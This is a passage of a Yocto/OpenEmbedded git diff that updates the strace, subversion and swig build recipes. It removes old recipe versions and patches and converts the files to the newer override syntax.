+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+"
+
+PACKAGECONFIG[bluez] = "ac_cv_header_bluetooth_bluetooth_h=yes,ac_cv_header_bluetooth_bluetooth_h=no,bluez5"
+PACKAGECONFIG[libunwind] = "--with-libunwind,--without-libunwind,libunwind"
+
+EXTRA_OECONF += "--enable-mpers=no --disable-gcc-Werror"
+
+CFLAGS:append:libc-musl = " -Dsigcontext_struct=sigcontext"
+
+TESTDIR = "tests"
+PTEST_BUILD_HOST_PATTERN = "^(DEB_CHANGELOGTIME|RPM_CHANGELOGTIME|WARN_CFLAGS_FOR_BUILD|LDFLAGS_FOR_BUILD)"
+
+do_compile_ptest() {
+ oe_runmake ${PARALLEL_MAKE} -C ${TESTDIR} buildtest-TESTS
+}
+
+do_install_ptest() {
+ oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
+ mkdir -p ${D}${PTEST_PATH}/build-aux
+ mkdir -p ${D}${PTEST_PATH}/src
+ install -m 755 ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
+ install -m 644 ${B}/src/config.h ${D}${PTEST_PATH}/src/
+ sed -i -e '/^src/s/strace.*[0-9]/ptest/' ${D}/${PTEST_PATH}/${TESTDIR}/Makefile
+}
+
+RDEPENDS:${PN}-ptest += "make coreutils grep gawk sed"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-en-us.iso-8859-1 \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/strace/strace_5.3.bb b/meta/recipes-devtools/strace/strace_5.3.bb
deleted file mode 100644
index db6004583b..0000000000
--- a/meta/recipes-devtools/strace/strace_5.3.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "System call tracing tool"
-HOMEPAGE = "http://strace.io"
-SECTION = "console/utils"
-LICENSE = "LGPL-2.1+ & GPL-2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0169a04810830e94f4b1cfb823c9f592"
-
-SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
- file://disable-git-version-gen.patch \
- file://more-robust-test-for-m32-mx32-compile-support.patch \
- file://update-gawk-paths.patch \
- file://Makefile-ptest.patch \
- file://run-ptest \
- file://mips-SIGEMT.patch \
- file://0001-caps-abbrev.awk-fix-gawk-s-path.patch \
- file://0001-tests-sigaction-Check-for-mips-and-alpha-before-usin.patch \
- file://ptest-spacesave.patch \
- file://uintptr_t.patch \
- "
-SRC_URI[md5sum] = "84f5e72de813c9b1bb6057ee8ab428d8"
-SRC_URI[sha256sum] = "6c131198749656401fe3efd6b4b16a07ea867e8f530867ceae8930bbc937a047"
-
-inherit autotools ptest
-
-PACKAGECONFIG_class-target ??= "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
-"
-
-PACKAGECONFIG[bluez] = "ac_cv_header_bluetooth_bluetooth_h=yes,ac_cv_header_bluetooth_bluetooth_h=no,bluez5"
-PACKAGECONFIG[libunwind] = "--with-libunwind,--without-libunwind,libunwind"
-
-EXTRA_OECONF += "--enable-mpers=no"
-
-CFLAGS_append_libc-musl = " -Dsigcontext_struct=sigcontext"
-
-TESTDIR = "tests"
-PTEST_BUILD_HOST_PATTERN = "^(DEB_CHANGELOGTIME|RPM_CHANGELOGTIME|WARN_CFLAGS_FOR_BUILD|LDFLAGS_FOR_BUILD)"
-
-do_install_append() {
- # We don't ship strace-graph here because it needs perl
- rm ${D}${bindir}/strace-graph
-}
-
-do_compile_ptest() {
- oe_runmake -C ${TESTDIR} buildtest-TESTS
-}
-
-do_install_ptest() {
- oe_runmake -C ${TESTDIR} install-ptest BUILDDIR=${B} DESTDIR=${D}${PTEST_PATH} TESTDIR=${TESTDIR}
- install -m 755 ${S}/test-driver ${D}${PTEST_PATH}
- install -m 644 ${B}/config.h ${D}${PTEST_PATH}
- sed -i -e '/^src/s/strace.*[1-9]/ptest/' ${D}/${PTEST_PATH}/${TESTDIR}/Makefile
-}
-
-RDEPENDS_${PN}-ptest += "make coreutils grep gawk sed"
-
-BBCLASSEXTEND = "native"
-TOOLCHAIN = "gcc"
diff --git a/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch b/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch
deleted file mode 100644
index 5a1b10b2e1..0000000000
--- a/meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From cbcfe0399347989e45a8fb695f55c855d6b3da72 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 7 Dec 2015 17:11:02 +0200
-Subject: [PATCH] Fix libtool name in configure.ac
-
-Upstream-Status: Inappropriate [embedded specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 4ed66d4..ceb64f9 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -221,8 +221,8 @@ if test "$experimental_libtool" = "yes"; then
- LIBTOOL="$sh_libtool"
- SVN_LIBTOOL="$sh_libtool"
- else
-- sh_libtool="$abs_builddir/libtool"
-- SVN_LIBTOOL="\$(SHELL) \"$sh_libtool\""
-+ sh_libtool="$abs_builddir/$host_alias-libtool"
-+ SVN_LIBTOOL="\$(SHELL) \$(abs_builddir)/$host_alias-libtool"
- fi
- AC_SUBST(SVN_LIBTOOL)
-
---
-2.6.2
-
diff --git a/meta/recipes-devtools/subversion/subversion_1.12.2.bb b/meta/recipes-devtools/subversion/subversion_1.12.2.bb
deleted file mode 100644
index 4ffa1c584e..0000000000
--- a/meta/recipes-devtools/subversion/subversion_1.12.2.bb
+++ /dev/null
@@ -1,61 +0,0 @@
-SUMMARY = "Subversion (svn) version control system client"
-HOMEPAGE = "http://subversion.apache.org"
-SECTION = "console/network"
-LICENSE = "Apache-2 & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=6487ae7094d359fa90fb9c4096e52e2b"
-
-DEPENDS = "apr-util serf sqlite3 file lz4"
-DEPENDS_append_class-native = " file-replacement-native"
-
-SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://disable_macos.patch \
- file://0001-Fix-libtool-name-in-configure.ac.patch \
- file://serfmacro.patch \
- "
-
-SRC_URI[md5sum] = "1ff249f848f834ded88536543e031975"
-SRC_URI[sha256sum] = "3bd0b5c8e4c5175263dc9a92fd9aef94ce917e80af034f26fe5c45fde7e0f771"
-
-inherit autotools pkgconfig gettext
-
-CVE_PRODUCT = "apache:subversion"
-
-PACKAGECONFIG ?= ""
-
-PACKAGECONFIG[boost] = "--with-boost=${RECIPE_SYSROOT}${exec_prefix},--without-boost,boost"
-PACKAGECONFIG[sasl] = "--with-sasl,--without-sasl,cyrus-sasl"
-PACKAGECONFIG[gnome-keyring] = "--with-gnome-keyring,--without-gnome-keyring,glib-2.0 gnome-keyring"
-
-EXTRA_OECONF = " \
- --with-apr=${STAGING_BINDIR_CROSS} \
- --with-apr-util=${STAGING_BINDIR_CROSS} \
- --without-apxs \
- --without-berkeley-db \
- --without-swig \
- --disable-keychain \
- --with-utf8proc=internal \
- ac_cv_path_RUBY=none \
-"
-
-acpaths = "-I build/ -I build/ac-macros/"
-
-CPPFLAGS += "-P"
-BUILD_CPPFLAGS += "-P"
-
-do_configure_prepend () {
- rm -f ${S}/libtool
- rm -f ${S}/build/libtool.m4 ${S}/build/ltmain.sh ${S}/build/ltoptions.m4 ${S}/build/ltsugar.m4 ${S}/build/ltversion.m4 ${S}/build/lt~obsolete.m4
- rm -f ${S}/aclocal.m4
- sed -i -e 's:with_sasl="/usr/local":with_sasl="${STAGING_DIR}":' ${S}/build/ac-macros/sasl.m4
-}
-
-#| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_local/libsvn_ra_local-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| /usr/bin/ld: cannot find -lsvn_delta-1| collect2: ld returned 1 exit status| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_svn/libsvn_ra_svn-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_serf/libsvn_ra_serf-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
-#| x86_64-linux-libtool: install: error: relink `libsvn_ra_serf-1.la' with the above command before installing it
-#| x86_64-linux-libtool: install: warning: `../../subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
-#| /home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/subversion-1.8.9/build-outputs.mk:1090: recipe for target 'install-serf-lib' failed
-#| make: *** [install-serf-lib] Error 1
-PARALLEL_MAKEINST = ""
-
-RDEPENDS_${PN} = "serf"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/subversion/subversion_1.14.1.bb b/meta/recipes-devtools/subversion/subversion_1.14.1.bb
new file mode 100644
index 0000000000..71183ac7ce
--- /dev/null
+++ b/meta/recipes-devtools/subversion/subversion_1.14.1.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Subversion (svn) version control system client"
+HOMEPAGE = "http://subversion.apache.org"
+DESCRIPTION = "Subversion is an open source version control system."
+SECTION = "console/network"
+LICENSE = "Apache-2.0 & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=6487ae7094d359fa90fb9c4096e52e2b"
+
+DEPENDS = "apr-util serf sqlite3 file lz4"
+DEPENDS:append:class-native = " file-replacement-native"
+
+SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://disable_macos.patch \
+ file://serfmacro.patch \
+ "
+
+SRC_URI[sha256sum] = "2c5da93c255d2e5569fa91d92457fdb65396b0666fad4fd59b22e154d986e1a9"
+
+inherit autotools pkgconfig gettext python3native
+
+CVE_PRODUCT = "apache:subversion"
+
+PACKAGECONFIG ?= ""
+
+PACKAGECONFIG[boost] = "--with-boost=${RECIPE_SYSROOT}${exec_prefix},--without-boost,boost"
+PACKAGECONFIG[sasl] = "--with-sasl,--without-sasl,cyrus-sasl"
+PACKAGECONFIG[gnome-keyring] = "--with-gnome-keyring,--without-gnome-keyring,glib-2.0 gnome-keyring"
+
+EXTRA_OECONF = " \
+ --with-apr=${STAGING_BINDIR_CROSS} \
+ --with-apr-util=${STAGING_BINDIR_CROSS} \
+ --without-apxs \
+ --without-berkeley-db \
+ --without-swig \
+ --disable-keychain \
+ --with-utf8proc=internal \
+ ac_cv_path_RUBY=none \
+"
+
+EXTRA_OEMAKE += "pkgconfig_dir=${libdir}/pkgconfig"
+
+acpaths = "-I build/ -I build/ac-macros/"
+
+CPPFLAGS += "-P"
+BUILD_CPPFLAGS += "-P"
+
+do_configure:prepend () {
+ rm -f ${S}/libtool
+ rm -f ${S}/build/libtool.m4 ${S}/build/ltmain.sh ${S}/build/ltoptions.m4 ${S}/build/ltsugar.m4 ${S}/build/ltversion.m4 ${S}/build/lt~obsolete.m4
+ rm -f ${S}/aclocal.m4
+ sed -i -e 's:with_sasl="/usr/local":with_sasl="${STAGING_DIR}":' ${S}/build/ac-macros/sasl.m4
+}
+
+#| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_local/libsvn_ra_local-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| /usr/bin/ld: cannot find -lsvn_delta-1| collect2: ld returned 1 exit status| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_svn/libsvn_ra_svn-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'| x86_64-linux-libtool: install: warning: `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/build/subversion/libsvn_ra_serf/libsvn_ra_serf-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
+#| x86_64-linux-libtool: install: error: relink `libsvn_ra_serf-1.la' with the above command before installing it
+#| x86_64-linux-libtool: install: warning: `../../subversion/libsvn_repos/libsvn_repos-1.la' has not been installed in `/home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/sysroots/x86_64-linux/usr/lib'
+#| /home/pokybuild/yocto-autobuilder/yocto-worker/nightly-qa-logrotate/build/build/tmp/work/x86_64-linux/subversion-native/1.8.9-r0/subversion-1.8.9/build-outputs.mk:1090: recipe for target 'install-serf-lib' failed
+#| make: *** [install-serf-lib] Error 1
+PARALLEL_MAKEINST = ""
+
+RDEPENDS:${PN} = "serf"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/swig/swig.inc b/meta/recipes-devtools/swig/swig.inc
index e62718c508..13470c1094 100644
--- a/meta/recipes-devtools/swig/swig.inc
+++ b/meta/recipes-devtools/swig/swig.inc
@@ -3,7 +3,7 @@ DESCRIPTION = "SWIG is a compiler that makes it easy to integrate C and C++ \
code with other languages including Perl, Tcl, Ruby, Python, Java, Guile, \
Mzscheme, Chicken, OCaml, Pike, and C#."
HOMEPAGE = "http://swig.sourceforge.net/"
-LICENSE = "BSD & GPLv3"
+LICENSE = "BSD-3-Clause & GPL-3.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=e7807a6282784a7dde4c846626b08fc6 \
file://LICENSE-GPL;md5=d32239bcb673463ab874e80d47fae504 \
file://LICENSE-UNIVERSITIES;md5=8ce9dcc8f7c994de4a408b205c72ba08"
@@ -13,6 +13,8 @@ SECTION = "devel"
DEPENDS = "libpcre bison-native"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/swig/files/swig/"
+UPSTREAM_CHECK_REGEX = "swig-(?P<pver>\d+(\.\d+)+)"
inherit autotools python3native pkgconfig
@@ -47,11 +49,11 @@ BBCLASSEXTEND = "native nativesdk"
# necessary together with bison dependency until a new upstream version after
# 3.0.12 includes 0001-Fix-generated-code-for-constant-expressions-containi.patch
-do_configure_append() {
+do_configure:append() {
mkdir -p ${B}/Source/CParse
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
cd ${D}${bindir}
ln -s swig swig2.0
}
@@ -60,6 +62,6 @@ def swiglib_relpath(d):
swiglib = d.getVar('datadir') + "/" + d.getVar('BPN') + "/" + d.getVar('PV')
return os.path.relpath(swiglib, d.getVar('bindir'))
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}${bindir}/swig SWIG_LIB='`dirname $''realpath`'/${@swiglib_relpath(d)}
}
diff --git a/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch b/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch
deleted file mode 100644
index 885c395614..0000000000
--- a/meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch
+++ /dev/null
@@ -1,330 +0,0 @@
-From 1a5aadcd66e85c63d228bfd811a521d617c22a38 Mon Sep 17 00:00:00 2001
-From: Patrick Schneider <patrick.schneider@meetnow.eu>
-Date: Thu, 13 Apr 2017 15:02:53 +0200
-Subject: [PATCH] Add Node 7.x aka V8 5.2+ support
-
-* Use WeakCallbackInfo instead of WeakCallbackData
-* Use GetPrivate instead of GetHiddenValue
-* Adopted new signature for SetWeak to support destructor calling
-* SetAccessor deprecation fixed
-* Proper version checks where applicable
-
-Upstream-Status: Submitted [https://github.com/swig/swig/pull/968]
-
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
----
- Lib/javascript/v8/javascriptcode.swg | 27 +++++++++++++++++-----
- Lib/javascript/v8/javascripthelpers.swg | 29 +++++++++++++++++++++---
- Lib/javascript/v8/javascriptinit.swg | 16 +++++++++++--
- Lib/javascript/v8/javascriptrun.swg | 40 ++++++++++++++++++++++++++++-----
- 4 files changed, 95 insertions(+), 17 deletions(-)
-
-diff --git a/Lib/javascript/v8/javascriptcode.swg b/Lib/javascript/v8/javascriptcode.swg
-index fb7d55c..b8c5089 100644
---- a/Lib/javascript/v8/javascriptcode.swg
-+++ b/Lib/javascript/v8/javascriptcode.swg
-@@ -133,10 +133,13 @@ static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Value> object, v
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Object> *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+ static void $jswrapper(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- if(proxy->swigCMemOwn && proxy->swigCObject) {
-@@ -147,7 +150,9 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- }
- delete proxy;
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
-+#endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
- object.Dispose();
-@@ -155,7 +160,7 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- object.Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x032100)
- object->Dispose(isolate);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object->Dispose();
- #endif
- }
-@@ -177,10 +182,13 @@ static void $jswrapper(v8::Isolate *isolate, v8::Persistent<v8::Value> object, v
- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- static void $jswrapper(v8::Isolate *isolate, v8::Persistent< v8::Object> *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+static void $jswrapper(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- if(proxy->swigCMemOwn && proxy->swigCObject) {
-@@ -197,7 +205,7 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- object->Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- object->Dispose();
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
- #endif
- }
-@@ -211,7 +219,11 @@ static void $jswrapper(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &dat
- * ----------------------------------------------------------------------------- */
- %fragment("js_getter", "templates")
- %{
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- static SwigV8ReturnValue $jswrapper(v8::Local<v8::String> property, const SwigV8PropertyCallbackInfo &info) {
-+#else
-+static SwigV8ReturnValue $jswrapper(v8::Local<v8::Name> property, const SwigV8PropertyCallbackInfo &info) {
-+#endif
- SWIGV8_HANDLESCOPE();
-
- v8::Handle<v8::Value> jsresult;
-@@ -233,8 +245,11 @@ fail:
- * ----------------------------------------------------------------------------- */
- %fragment("js_setter", "templates")
- %{
--static void $jswrapper(v8::Local<v8::String> property, v8::Local<v8::Value> value,
-- const SwigV8PropertyCallbackInfoVoid &info) {
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
-+static void $jswrapper(v8::Local<v8::String> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid &info) {
-+#else
-+static void $jswrapper(v8::Local<v8::Name> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid &info) {
-+#endif
- SWIGV8_HANDLESCOPE();
-
- $jslocals
-diff --git a/Lib/javascript/v8/javascripthelpers.swg b/Lib/javascript/v8/javascripthelpers.swg
-index 091467d..7461079 100644
---- a/Lib/javascript/v8/javascripthelpers.swg
-+++ b/Lib/javascript/v8/javascripthelpers.swg
-@@ -6,11 +6,16 @@ typedef v8::InvocationCallback SwigV8FunctionCallback;
- typedef v8::AccessorGetter SwigV8AccessorGetterCallback;
- typedef v8::AccessorSetter SwigV8AccessorSetterCallback;
- typedef v8::AccessorInfo SwigV8PropertyCallbackInfoVoid;
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- typedef v8::FunctionCallback SwigV8FunctionCallback;
- typedef v8::AccessorGetterCallback SwigV8AccessorGetterCallback;
- typedef v8::AccessorSetterCallback SwigV8AccessorSetterCallback;
- typedef v8::PropertyCallbackInfo<void> SwigV8PropertyCallbackInfoVoid;
-+#else
-+typedef v8::FunctionCallback SwigV8FunctionCallback;
-+typedef v8::AccessorNameGetterCallback SwigV8AccessorGetterCallback;
-+typedef v8::AccessorNameSetterCallback SwigV8AccessorSetterCallback;
-+typedef v8::PropertyCallbackInfo<void> SwigV8PropertyCallbackInfoVoid;
- #endif
-
- /**
-@@ -65,18 +70,36 @@ SWIGRUNTIME void SWIGV8_AddStaticFunction(v8::Handle<v8::Object> obj, const char
- */
- SWIGRUNTIME void SWIGV8_AddStaticVariable(v8::Handle<v8::Object> obj, const char* symbol,
- SwigV8AccessorGetterCallback getter, SwigV8AccessorSetterCallback setter) {
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- obj->SetAccessor(SWIGV8_SYMBOL_NEW(symbol), getter, setter);
-+#else
-+ obj->SetAccessor(SWIGV8_CURRENT_CONTEXT(), SWIGV8_SYMBOL_NEW(symbol), getter, setter);
-+#endif
- }
-
--SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::String> property, v8::Local<v8::Value> value,
-- const SwigV8PropertyCallbackInfoVoid& info)
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
-+SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::String> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid& info)
-+#else
-+SWIGRUNTIME void JS_veto_set_variable(v8::Local<v8::Name> property, v8::Local<v8::Value> value, const SwigV8PropertyCallbackInfoVoid& info)
-+#endif
- {
- char buffer[256];
- char msg[512];
- int res;
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- property->WriteUtf8(buffer, 256);
- res = sprintf(msg, "Tried to write read-only variable: %s.", buffer);
-+#else
-+ v8::Local<v8::String> sproperty;
-+ if (property->ToString(SWIGV8_CURRENT_CONTEXT()).ToLocal(&sproperty)) {
-+ sproperty->WriteUtf8(buffer, 256);
-+ res = sprintf(msg, "Tried to write read-only variable: %s.", buffer);
-+ }
-+ else {
-+ res = -1;
-+ }
-+#endif
-
- if(res<0) {
- SWIG_exception(SWIG_ERROR, "Tried to write read-only variable.");
-diff --git a/Lib/javascript/v8/javascriptinit.swg b/Lib/javascript/v8/javascriptinit.swg
-index 34befa7..86008d9 100644
---- a/Lib/javascript/v8/javascriptinit.swg
-+++ b/Lib/javascript/v8/javascriptinit.swg
-@@ -7,15 +7,27 @@ SWIG_V8_SetModule(void *, swig_module_info *swig_module) {
- v8::Local<v8::Object> global_obj = SWIGV8_CURRENT_CONTEXT()->Global();
- v8::Local<v8::External> mod = SWIGV8_EXTERNAL_NEW(swig_module);
- assert(!mod.IsEmpty());
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- global_obj->SetHiddenValue(SWIGV8_STRING_NEW("swig_module_info_data"), mod);
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("swig_module_info_data"));
-+ global_obj->SetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey, mod);
-+#endif
- }
-
- SWIGRUNTIME swig_module_info *
- SWIG_V8_GetModule(void *) {
- v8::Local<v8::Object> global_obj = SWIGV8_CURRENT_CONTEXT()->Global();
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- v8::Local<v8::Value> moduleinfo = global_obj->GetHiddenValue(SWIGV8_STRING_NEW("swig_module_info_data"));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("swig_module_info_data"));
-+ v8::Local<v8::Value> moduleinfo;
-+ if (!global_obj->GetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey).ToLocal(&moduleinfo))
-+ return 0;
-+#endif
-
-- if (moduleinfo.IsEmpty())
-+ if (moduleinfo.IsEmpty() || moduleinfo->IsNull() || moduleinfo->IsUndefined())
- {
- // It's not yet loaded
- return 0;
-@@ -23,7 +35,7 @@ SWIG_V8_GetModule(void *) {
-
- v8::Local<v8::External> moduleinfo_extern = v8::Local<v8::External>::Cast(moduleinfo);
-
-- if (moduleinfo_extern.IsEmpty())
-+ if (moduleinfo_extern.IsEmpty() || moduleinfo_extern->IsNull() || moduleinfo_extern->IsUndefined())
- {
- // Something's not right
- return 0;
-diff --git a/Lib/javascript/v8/javascriptrun.swg b/Lib/javascript/v8/javascriptrun.swg
-index 5ac52a5..30002c0 100644
---- a/Lib/javascript/v8/javascriptrun.swg
-+++ b/Lib/javascript/v8/javascriptrun.swg
-@@ -193,8 +193,10 @@ public:
- void (*dtor) (v8::Isolate *isolate, v8::Persistent< v8::Value> object, void *parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- void (*dtor) (v8::Isolate *isolate, v8::Persistent< v8::Object > *object, SWIGV8_Proxy *proxy);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- void (*dtor) (const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data);
-+#else
-+ void (*dtor) (const v8::WeakCallbackInfo<SWIGV8_Proxy> &data);
- #endif
- };
-
-@@ -241,9 +243,12 @@ SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(v8::Isolate *, v8::Persistent< v8::Val
